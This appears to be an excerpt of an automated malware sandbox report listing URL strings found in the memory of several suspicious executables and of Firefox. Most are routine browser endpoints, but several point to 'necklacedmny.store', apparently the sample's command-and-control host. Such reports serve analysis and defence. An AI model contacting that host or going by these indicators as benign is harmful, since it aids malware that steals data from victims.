Source: file.exe, 00000000.00000003.1715294203.0000000005DEB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1715347269.0000000005DE9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1715425421.0000000005DE9000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2600618224.0000000005919000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2600448064.0000000005919000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2600347557.000000000591B000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2774760977.000000000566D000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2774335661.000000000567F000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2774528447.000000000566D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.1715294203.0000000005DEB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1715347269.0000000005DE9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1715425421.0000000005DE9000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2600618224.0000000005919000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2600448064.0000000005919000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2600347557.000000000591B000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2774760977.000000000566D000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2774335661.000000000567F000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2774528447.000000000566D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD71000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://completion.amazon.com/search/complete?q=
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://content.cdn.mozilla.net
Source: file.exe, 00000000.00000003.1762031949.0000000005DC5000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2631561373.0000000000CA8000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2873733468.0000000005651000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2905467211.000002297A3AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2934561208.000002297E57C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2911892808.000002297B952000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2929041713.000002297CC7B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: file.exe, 00000000.00000003.1762031949.0000000005DC5000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2631561373.0000000000CA8000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2905467211.000002297A3AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2911892808.000002297B952000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2929041713.000002297CC7B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2911892808.000002297B923000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://contile.services.mozilla.com/v1/tiles
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://coverage.mozilla.org
Source: firefox.exe, 0000001B.00000002.2899807746.000002296EB30000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://crash-reports.mozilla.com/submit?id=
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://crash-stats.mozilla.org/report/index/
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://dap-02.api.divviup.org
Source: firefox.exe, 0000001B.00000002.2908621079.000002297AC06000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2908621079.000002297AC2C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTab
Source: firefox.exe, 0000001B.00000002.2908621079.000002297AC2C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCapture
Source: firefox.exe, 0000001B.00000002.2908621079.000002297AC06000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2908621079.000002297AC2C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/setPointerCapture
Source: firefox.exe, 0000001B.00000002.2908621079.000002297AC06000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2908621079.000002297AC2C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#Encryption
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinations
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinationsUsi
Source: firefox.exe, 0000001B.00000002.2908621079.000002297AC06000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2908621079.000002297AC2C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsing
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://developers.google.com/safe-browsing/v4/advisory
Source: c077ee22d1.exe, 0000000B.00000003.2676689966.000000000534B000.00000004.00001000.00020000.00000000.sdmp, c077ee22d1.exe, 0000000B.00000002.2717758485.0000000000EBC000.00000040.00000001.01000000.0000000F.sdmp String found in binary or memory: https://docs.rs/getrandom#nodejs-es-module-support
Source: firefox.exe, 0000001B.00000002.2929041713.000002297CC7B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2911892808.000002297B923000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com
Source: firefox.exe, 0000001B.00000002.2978858481.0000266D0B004000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2950843311.000002297EB70000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000003.2788251826.000002297E85D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2788613349.000002297E87B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2963511722.0000022980488000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2787902142.000002297E83E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2787522205.000002297E820000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2979169469.00002A4A67804000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/
Source: file.exe, 00000000.00000003.1715294203.0000000005DEB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1715347269.0000000005DE9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1715425421.0000000005DE9000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2600618224.0000000005919000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2600448064.0000000005919000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2600347557.000000000591B000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2774760977.000000000566D000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2774335661.000000000567F000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2774528447.000000000566D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.1715294203.0000000005DEB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1715347269.0000000005DE9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1715425421.0000000005DE9000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2600618224.0000000005919000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2600448064.0000000005919000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2600347557.000000000591B000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2774760977.000000000566D000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2774335661.000000000567F000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2774528447.000000000566D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.1715294203.0000000005DEB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1715347269.0000000005DE9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1715425421.0000000005DE9000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2600618224.0000000005919000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2600448064.0000000005919000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2600347557.000000000591B000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2774760977.000000000566D000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2774335661.000000000567F000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2774528447.000000000566D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: firefox.exe, 0000001B.00000002.2924713629.000002297C103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2907951633.000002297A97D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2791021566.000002297C133000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2909626556.000002297AD71000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD71000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%shttps://mail.yahoo.co.jp/compose/?To=%shttps://mail.yande
Source: firefox.exe, 0000001B.00000002.2924713629.000002297C103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2791021566.000002297C133000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2909626556.000002297AD71000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%s
Source: firefox.exe, 0000001B.00000002.2908621079.000002297AC06000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2908621079.000002297AC2C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://extensionworkshop.com/documentation/publish/self-distribution/
Source: firefox.exe, 0000001B.00000002.2934561208.000002297E57C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2929041713.000002297CC7B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox-api-proxy.cdn.mozilla.net/
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://firefox-source-docs.mozilla.org/networking/dns/trr-skip-reasons.html#
Source: firefox.exe, 0000001B.00000002.2908621079.000002297AC06000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox-source-docs.mozilla.org/performance/scroll-linked_effects.html
Source: firefox.exe, 0000001B.00000002.2909626556.000002297ADE7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD71000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/records
Source: firefox.exe, 0000001B.00000002.2909626556.000002297ADE7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD71000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/search-config/records
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD71000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/search-config/recordshttps
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox.settings.services.mozilla.com/v17e40f68c-7938-4c5d-9f95-e61647c213eb
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox.settings.services.mozilla.com/v17e40f68c-7938-4c5d-9f95-e61647c213ebParent
Source: firefox.exe, 0000001B.00000002.2911892808.000002297B952000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2911892808.000002297B923000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://fpn.firefox.com
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://fpn.firefox.com/browser?utm_source=firefox-desktop&utm_medium=referral&utm_campaign=about-pr
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://ftp.mozilla.org/pub/labs/devtools/adb-extension/#OS#/adb-extension-latest-#OS#.xpi
Source: firefox.exe, 0000001B.00000002.2934561208.000002297E57C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2929041713.000002297CC7B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.cdn.mozilla.net/
Source: firefox.exe, 0000001B.00000002.2929041713.000002297CC7B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=
Source: firefox.exe, 0000001B.00000002.2929041713.000002297CC7B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l
Source: firefox.exe, 0000001B.00000002.2934561208.000002297E57C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2929041713.000002297CC7B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=bas
Source: firefox.exe, 0000001B.00000002.2934561208.000002297E57C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2929041713.000002297CC7B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=40249-e88c401e1b1f2242d9e4
Source: firefox.exe, 0000001B.00000002.2934561208.000002297E57C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2929041713.000002297CC7B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtab
Source: firefox.exe, 0000001B.00000002.2934561208.000002297E57C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2929041713.000002297CC7B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtab
Source: firefox.exe, 0000001B.00000002.2934561208.000002297E57C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2929041713.000002297CC7B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtab
Source: firefox.exe, 0000001B.00000002.2934561208.000002297E57C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2929041713.000002297CC7B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtab
Source: firefox.exe, 0000001B.00000002.2934561208.000002297E57C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2929041713.000002297CC7B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtab
Source: firefox.exe, 0000001B.00000002.2934561208.000002297E57C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2929041713.000002297CC7B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab
Source: firefox.exe, 0000001B.00000002.2934561208.000002297E57C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2929041713.000002297CC7B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtab
Source: firefox.exe, 0000001B.00000002.2929041713.000002297CC7B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tab
Source: firefox.exe, 0000001B.00000002.2934561208.000002297E57C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2929041713.000002297CC7B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtab
Source: firefox.exe, 0000001B.00000002.2929041713.000002297CC7B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more
Source: firefox.exe, 0000001B.00000002.2929041713.000002297CC7B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/recommendations
Source: firefox.exe, 0000001B.00000002.2921854257.000002297BC03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/
Source: firefox.exe, 0000001B.00000002.2950843311.000002297EB70000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000003.2788251826.000002297E85D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2788613349.000002297E87B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2787902142.000002297E83E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2787522205.000002297E820000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2909626556.000002297AD71000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/mozilla-services/screenshots
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD71000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/mozilla-services/screenshotsinternal:svgContextPropertiesAllowed/shims/google-ana
Source: firefox.exe, 0000001B.00000002.2929041713.000002297CC7B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2911892808.000002297B923000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://google.com
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://helper1.dap.cloudflareresearch.com/v02
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881The
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://ideas.mozilla.org/
Source: firefox.exe, 0000001B.00000002.2911892808.000002297B923000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: firefox.exe, 0000001B.00000002.2906389932.000002297A4FB000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://incoming.telemetry.mozilla.org
Source: firefox.exe, 0000001B.00000002.2934561208.000002297E57C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2929041713.000002297CC7B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://incoming.telemetry.mozilla.org/submit
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://install.mozilla.org
Source: firefox.exe, 0000001B.00000002.2959641340.000002297F775000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://location.services.mozilla.com
Source: firefox.exe, 0000001B.00000002.2952895873.000002297EECF000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://location.services.mozilla.com/
Source: firefox.exe, 0000001B.00000002.2909626556.000002297ADE7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://location.services.mozilla.com/v1/country?key=%MOZILLA_API_KEY%
Source: firefox.exe, 0000001B.00000002.2909626556.000002297ADE7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://location.services.mozilla.com/v1/country?key=%MOZILLA_API_KEY%extensions.formautofill.credit
Source: firefox.exe, 0000001B.00000002.2952895873.000002297EEAC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2956958152.000002297F6A5000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://location.services.mozilla.com/v1/country?key=7e40f68c-7938-4c5d-9f95-e61647c213eb
Source: firefox.exe, 0000001B.00000002.2886744113.000000FFE0FBB000.00000004.00000010.00020000.00000000.sdmp String found in binary or memory: https://login.live.com
Source: firefox.exe, 0000001B.00000002.2961962144.00000229802C7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://login.microsoftonline.com
Source: firefox.exe, 0000001B.00000002.2924713629.000002297C103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2791021566.000002297C133000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2921854257.000002297BC1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2909626556.000002297AD71000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2911892808.000002297B9D3000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%s
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD71000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%sUnable
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD71000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%sresource:///modules/BrowserContentHandler.sys.mjsh
Source: firefox.exe, 0000001B.00000002.2924713629.000002297C103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2907951633.000002297A97D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2791021566.000002297C133000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2909626556.000002297AD71000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.inbox.lv/compose?to=%s
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD71000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.inbox.lv/compose?to=%sresource://gre/modules/DeferredTask.sys.mjsresource://gre/modules
Source: firefox.exe, 0000001B.00000002.2924713629.000002297C103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2907951633.000002297A97D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2791021566.000002297C133000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2909626556.000002297AD71000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%s
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD71000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%shttps://e.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 0000001B.00000002.2909626556.000002297ADAB000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggest
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://mitmdetection.services.mozilla.com/
Source: firefox.exe, 0000001B.00000002.2899807746.000002296EB03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://monitor.firefox.com
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://monitor.firefox.com/about
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://monitor.firefox.com/breach-details/
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://monitor.firefox.com/user/breach-stats?includeResolved=true
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://monitor.firefox.com/user/dashboard
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://monitor.firefox.com/user/preferences
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://mozilla-ohttp-fakespot.fastly-edge.com/
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://mozilla.cloudflare-dns.com/dns-query
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mzl.la/3NS9KJd
Source: 3e1d30d118.exe, 0000000C.00000003.2927351090.0000000000D23000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.sto
Source: 3e1d30d118.exe, 0000000C.00000003.2895825958.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/
Source: 3e1d30d118.exe, 0000000A.00000003.2673131165.0000000000C8B000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2661041837.0000000000C8C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/#
Source: file.exe, 00000000.00000003.1820322905.00000000015D1000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/:
Source: 3e1d30d118.exe, 0000000C.00000003.2914183575.0000000000D24000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/A
